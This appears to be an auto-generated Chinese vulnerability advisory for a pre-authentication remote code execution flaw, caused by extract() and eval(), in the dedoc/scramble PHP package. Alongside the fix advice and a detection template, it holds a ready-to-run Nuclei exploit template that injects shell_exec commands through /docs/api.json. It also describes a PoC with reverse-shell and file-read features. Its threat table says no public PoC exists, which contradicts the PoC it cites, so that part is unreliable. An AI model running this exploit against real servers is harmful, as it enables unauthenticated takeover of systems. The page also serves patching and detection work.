[webapps] scramble - Remote Code Execution
CVE-2026-44262 是 dedoc/scramble 包中的一个预认证远程代码执行漏洞,危害评分 9.8。攻击者可通过向 /docs/api.json 发送包含恶意查询参数的请求,利用 extract() 和 eval() 实现 RCE。建议立即升级至 0.13.22,并限制文档访问。
Scramble 的 NodeRulesEvaluator 中 extract() 和 eval() 导致 RCE。
Critical · CVSS 9.8 (估计)📋 漏洞基础信息
| CVE | CVE-2026-44262 |
|---|---|
| 漏洞类型 | 远程代码执行 |
| 受影响版本 | dedoc/scramble >=0.13.2, <0.13.22 |
| 危害等级 | Critical · CVSS 9.8 (估计) |
| 发布日期 | 2026-05-27 |
| 提交者 | Joshua van der Poll (https://github.com/joshuavanderpoll) |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
在 NodeRulesEvaluator::doEvaluateExpression() 中,使用了 PHP 的 extract() 函数将用户可控的查询参数变量导入到当前符号表,从而覆盖内部变量 $code,随后对该变量内容使用 eval() 执行,导致攻击者通过构造特定查询参数注入 PHP 代码。
🎯 攻击场景
1. 攻击者访问目标站点的 /docs/api.json 端点。 2. 通过分析 OpenAPI 规范,找到存在脆弱参数(validator rule 默认值)的端点。 3. 构建包含恶意 PHP 代码的查询参数,例如 ?param=sleep(4)。 4. 发送请求,extract() 将 param 值赋给内部变量,eval() 执行该代码。 5. 攻击者可通过 timing probe 或命令输出确认 RCE。
💥 漏洞影响
未经身份验证的攻击者可在目标服务器上执行任意 PHP 代码,从而完全控制服务器,导致数据泄露、服务中断或横向移动。
⚔️ Nuclei Exploit 模板
以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:
id: CVE-2026-44262-exploit
info:
name: Scramble RCE Exploit
author: your-name
severity: critical
description: |
Exploits CVE-2026-44262 in Scramble <= 0.13.21. The vulnerability exists
in NodeRulesEvaluator::doEvaluateExpression() where extract() and eval()
allow an attacker to overwrite internal variables with arbitrary PHP code
via query parameters on /docs/api.json.
tags: cve,cve2026,rce,scramble,laravel
variables:
cmd: "id"
http:
- raw:
- |+
GET /docs/api.json HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-44262; +https://github.com/joshuavanderpoll/CVE-2026-44262)
Accept: application/json
matchers:
- type: status
status:
- 200
extractors:
- type: regex
part: body
group: 1
internal: true
name: vuln_param
regex:
- '"name":\s*"([a-zA-Z_][a-zA-Z0-9_]*)"[^}]+"in":\s*"query"[^}]+"default":\s*"[^"]*\|[^"]*"'
- raw:
- |+
GET /docs/api.json?{{url_encode(vuln_param)}}={{url_encode("print(shell_exec('{{cmd}}'));")}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-44262; +https://github.com/joshuavanderpoll/CVE-2026-44262)
Accept: application/json
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "uid="
- "gid="
- "root"
- "www-data"
- "nobody"
condition: or
extractors:
- type: regex
part: body
group: 0
regex:
- '([a-zA-Z0-9_\-= \(\)\.,/:]+)'🔬 深度技术分析
PoC 的 exploit.py 脚本首先检查目标 /docs/api.json 是否可访问并解析 OpenAPI 规范,提取所有查询参数。然后遍历参数,寻找 validator rule 默认值 (如 required|string)。对第一个脆弱参数执行 timing probe (sleep(4)) 和 command exec probe (shell_exec('id'))。若探测成功,则提供交互式命令执行、代码执行、文件读取和反弹 shell 功能。
🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2026-44262-detection
info:
name: Scramble RCE Detection
author: your-name
severity: critical
description: |
Scramble <= 0.13.21 is vulnerable to RCE via extract() + eval() in
NodeRulesEvaluator::doEvaluateExpression(). Attackers can overwrite the
internal $code variable with arbitrary PHP through a query parameter
on /docs/api.json and execute system commands.
tags: cve,cve2026,rce,scramble,laravel
http:
- method: GET
path:
- "{{BaseURL}}/docs/api.json"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"paths"'
- '"info"'
condition: and
- type: word
part: body
words:
- 'version'
condition: or
- type: status
status:
- 200
extractors:
- type: regex
part: body
group: 1
regex:
- '"version":\s*"([^"]+)"'
- method: GET
path:
- "{{BaseURL}}/docs/api.json?vuln_param={{url_encode('sleep(1)')}}"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- '"paths"'
condition: or
negative: true
- type: word
part: body
words:
- 'sleep('
condition: or
negative: true🛡️ 修复建议
升级到 patch 版本 (composer require dedoc/scramble:^0.13.22)。临时缓解措施包括添加 RestrictedDocsAccess 中间件限制 /docs 访问、在生产环境禁用 Scramble::routes(),或在 Web 服务器层面阻断外部对 /docs 路径的访问。
📎 参考链接
- https://github.com/advisories/GHSA-4rm2-28vj-fj39
- https://github.com/joshuavanderpoll/CVE-2026-44262
- Exploit-DB 原文
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-28 08:11 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 攻击是否要求认证?
不需要。漏洞可通过未授权的 /docs/api.json 端点直接利用,属于预认证 RCE。
❓ 如何确认自己是否受影响?
检查 Composer 锁文件中 dedoc/scramble 版本是否为 0.13.2 到 0.13.21 之间。
❓ 除了升级补丁还有哪些缓解措施?
在生产环境中禁用 Scramble::routes(),或在配置中添加中间件限制访问。